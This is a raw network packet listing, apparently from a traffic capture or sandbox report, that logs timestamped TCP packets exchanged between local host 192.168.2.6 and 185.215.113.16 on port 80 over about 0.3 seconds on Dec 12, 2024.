Dec 12, 2024 21:50:38.976896048 CET	49951	443	192.168.2.6	142.250.181.110
Dec 12, 2024 21:50:39.043466091 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.043508053 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.043582916 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.043648958 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.043706894 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.043746948 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.043797016 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.044703007 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.044754028 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.044869900 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.044924974 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.045686960 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.045743942 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.045799971 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.045849085 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.046719074 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.046767950 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.046907902 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.046960115 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.047718048 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.047801971 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.047854900 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.048054934 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.048799992 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.048928976 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.049000025 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.049082994 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.049778938 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.049832106 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.049989939 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.050039053 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.050817013 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.050867081 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.050952911 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.051007986 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.051947117 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.051999092 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.052112103 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.052161932 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.052875042 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.052932978 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.052989006 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.053037882 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.053917885 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.053976059 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.054028988 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.054076910 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.054984093 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.055035114 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.055162907 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.055214882 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.055933952 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.055986881 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.056054115 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.056104898 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.056986094 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.057037115 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.057110071 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.057158947 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.058033943 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.058084011 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.058145046 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.058193922 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.059026003 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.059077024 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.059132099 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.059180975 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.060089111 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.060141087 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.060209036 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.060261965 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.061064959 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.061116934 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.061183929 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.061235905 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.062134981 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.062186956 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.062253952 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.062306881 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.063258886 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.063354969 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.063410044 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.063460112 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.064243078 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.064297915 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.064352036 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.064399958 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.065205097 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.065256119 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.065340042 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.065390110 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.066222906 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.066271067 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.066314936 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.066361904 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.067256927 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.067307949 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.067394018 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.067441940 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.068308115 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.068376064 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.068428993 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.068711996 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.069287062 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.069421053 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.069714069 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.069894075 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.070333004 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.070389986 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.070445061 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.070493937 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.071381092 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.071433067 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.071487904 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.071537018 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.072387934 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.072439909 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.072561979 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.072613955 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.073442936 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.073534966 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.073563099 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.073613882 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.074459076 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.074512005 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.074626923 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.074677944 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.075505018 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.075562954 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.075618029 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.075668097 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.076488972 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.076543093 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.076596975 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.076644897 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.077512026 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.077564001 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.077625990 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.077673912 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.078525066 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.078577995 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.078638077 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.078690052 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.079565048 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.079617023 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.079655886 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.079704046 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.080605030 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.080770016 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.080821991 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.080868959 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.081648111 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.081756115 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.081805944 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.081859112 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.082693100 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.082750082 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.082803965 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.082851887 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.083734989 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.083873034 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.083935976 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.084687948 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.084742069 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.084803104 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.084850073 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.085772038 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.085828066 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.085885048 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.085932970 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.086867094 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.086914062 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.086957932 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.087007999 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.087769032 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.087820053 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.087877989 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.088751078 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.088892937 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.089010000 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.090054035 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.090179920 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.090708971 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.090893030 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.091069937 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.091269970 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.091959000 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.092015982 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.092078924 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.092125893 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.092941999 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.092998981 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.093051910 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.093101025 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.093981981 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.094055891 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.094109058 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.094156981 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.094978094 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.095029116 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.095155954 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.095205069 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.095984936 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.096031904 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.096112967 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.096163988 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.096999884 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.097049952 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.235626936 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.235696077 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.235790014 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.235836983 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.236072063 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.236115932 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.236258984 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.236304998 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.237082005 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.237128973 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.237256050 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.237302065 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.238060951 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.238107920 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.238171101 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.238217115 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.239177942 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.239228964 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.239262104 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.239309072 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.240181923 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.240232944 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.240346909 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.240391970 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.241142035 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.241168022 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.241183996 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.241225958 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.242176056 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.242223978 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.242254972 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.242300987 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.243242025 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.243367910 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.243438005 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.243520975 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.244271994 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.244354963 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.244410038 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.244491100 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.245285034 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.245373011 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.245403051 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.245481968 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.246319056 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.246406078 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.246468067 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.246551991 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.247374058 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.247457027 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.247499943 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.247584105 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.248359919 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.248441935 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.248496056 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.248577118 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.249403954 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.249551058 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.250040054 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.250435114 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.250576973 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.250634909 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.250739098 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.251432896 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.251507044 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.251983881 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.252559900 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.252706051 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.252801895 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.253568888 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.253659010 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.253747940 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.254136086 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.254525900 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.254615068 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.254676104 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.254761934 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.255564928 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.255646944 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.255675077 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.255760908 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.256570101 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.256659031 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.256711960 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.256792068 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.257606983 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.257692099 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.257890940 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.257977962 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.258645058 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.258729935 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.258752108 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.258832932 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.259649038 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.259730101 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.259778976 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.259860992 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.260735989 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.260826111 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.260879040 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.261259079 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.261672020 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.261764050 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.261821032 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.261903048 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.262734890 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.262821913 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.262850046 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.262933016 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.263731956 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.263822079 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.263885975 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.263968945 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.264909983 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.264993906 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.265057087 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.265141010 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.265786886 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.265866995 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.265918016 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.266000986 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.266808033 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.266901016 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.266972065 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.267059088 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.267899036 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.267997980 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.268059969 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.268142939 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:39.268908978 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:39.268964052 CET	80	49942	185.215.113.16	192.168.2.6
